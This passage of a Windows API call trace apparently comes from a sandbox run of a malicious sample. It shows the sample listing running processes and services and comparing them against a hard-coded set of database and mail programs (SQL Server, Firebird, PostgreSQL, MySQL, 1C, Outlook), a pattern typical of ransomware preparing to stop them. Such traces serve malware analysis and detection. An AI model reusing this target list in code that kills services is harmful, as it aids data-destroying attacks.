lpString2="PcaSvc") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0258.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0258.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0258.413] lstrlenW (lpString="PlugPlay") returned 8 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0258.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0258.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0258.413] lstrlenW (lpString="Power") returned 5 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0258.414] lstrlenW (lpString="ProfSvc") returned 7 [0258.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0258.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0258.414] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0258.414] lstrlenW (lpString="RpcEptMapper") returned 12 [0258.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0258.414] lstrlenW (lpString="RpcSs") returned 5 [0258.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0258.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0258.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0258.414] lstrlenW (lpString="SamSs") returned 5 [0258.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0258.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0258.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0258.414] lstrlenW (lpString="Schedule") returned 8 [0258.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0258.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0258.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0258.414] lstrlenW (lpString="SENS") returned 4 [0258.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0258.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0258.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0258.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0258.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0258.415] lstrlenW (lpString="ShellHWDetection") returned 16 [0258.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.415] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0258.415] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0258.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0258.415] lstrlenW (lpString="Spooler") returned 7 [0258.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0258.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0258.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0258.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0258.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0258.415] lstrlenW (lpString="SysMain") returned 7 [0258.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0258.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0258.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0258.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0258.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0258.415] lstrlenW (lpString="Themes") returned 6 [0258.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0258.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0258.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0258.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0258.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0258.415] lstrlenW (lpString="TrkWks") returned 6 [0258.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0258.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0258.415] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0258.415] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0258.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0258.415] lstrlenW (lpString="UxSms") returned 5 [0258.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0258.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0258.415] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0258.415] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0258.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0258.416] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0258.416] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0258.417] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.417] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.418] lstrlenW (lpString="System") returned 6 [0258.418] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0258.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0258.418] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0258.418] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0258.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0258.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0258.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0258.418] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.418] lstrlenW (lpString="smss.exe") returned 8 [0258.418] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0258.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0258.418] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0258.418] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0258.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0258.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0258.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0258.418] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.419] lstrlenW (lpString="csrss.exe") returned 9 [0258.419] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.419] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.419] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.419] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.419] lstrlenW (lpString="wininit.exe") returned 11 [0258.419] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0258.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0258.419] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0258.419] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0258.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0258.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0258.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0258.420] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.420] lstrlenW (lpString="csrss.exe") returned 9 [0258.420] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.420] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.420] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.420] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.420] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.420] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.420] lstrlenW (lpString="winlogon.exe") returned 12 [0258.420] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0258.420] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0258.420] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0258.420] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0258.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0258.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0258.420] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0258.420] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.421] lstrlenW (lpString="services.exe") returned 12 [0258.421] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0258.421] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0258.421] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0258.421] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0258.421] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0258.421] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0258.421] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0258.421] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.421] lstrlenW (lpString="lsass.exe") returned 9 [0258.421] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0258.421] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0258.421] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0258.421] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0258.421] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0258.421] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0258.421] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0258.421] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.422] lstrlenW (lpString="lsm.exe") returned 7 [0258.422] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0258.422] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0258.422] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0258.422] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0258.422] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0258.422] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0258.422] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0258.422] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.422] lstrlenW (lpString="svchost.exe") returned 11 [0258.422] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.422] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.422] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.422] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.422] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.422] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.422] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.422] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.423] lstrlenW (lpString="svchost.exe") returned 11 [0258.423] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.423] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.423] lstrlenW (lpString="svchost.exe") returned 11 [0258.423] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.423] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.423] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.424] lstrlenW (lpString="svchost.exe") returned 11 [0258.424] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.424] lstrlenW (lpString="svchost.exe") returned 11 [0258.424] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.424] lstrlenW (lpString="audiodg.exe") returned 11 [0258.424] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.425] lstrlenW (lpString="svchost.exe") returned 11 [0258.425] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.425] lstrlenW (lpString="svchost.exe") returned 11 [0258.425] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0258.425] lstrlenW (lpString="userinit.exe") returned 12 [0258.425] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.425] lstrlenW (lpString="dwm.exe") returned 7 [0258.425] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.426] lstrlenW (lpString="explorer.exe") returned 12 [0258.426] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.426] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.426] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.426] lstrlenW (lpString="taskhost.exe") returned 12 [0258.426] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.427] lstrlenW (lpString="svchost.exe") returned 11 [0258.427] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0258.427] lstrlenW (lpString="uyuquk.exe") returned 10 [0258.427] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.427] lstrlenW (lpString="reader_sl.exe") returned 13 [0258.427] Process32NextW (in: hSnapshot=0x1f4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0258.428] CloseHandle (hObject=0x1f4) returned 1 [0258.428] Sleep (dwMilliseconds=0x1f4) [0259.204] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aecb0 [0259.342] EnumServicesStatusExW (in: hSCManager=0x42aecb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0259.342] GetLastError () returned 0xea [0259.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0259.342] EnumServicesStatusExW (in: hSCManager=0x42aecb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0259.343] CloseServiceHandle (hSCObject=0x42aecb0) returned 1 [0259.343] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.343] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.343] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.343] lstrlenW (lpString="AudioSrv") returned 8 [0259.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0259.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0259.343] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0259.343] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0259.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0259.343] lstrlenW (lpString="BFE") returned 3 [0259.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.343] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.343] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.343] lstrlenW (lpString="CryptSvc") returned 8 [0259.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.343] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.343] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.344] 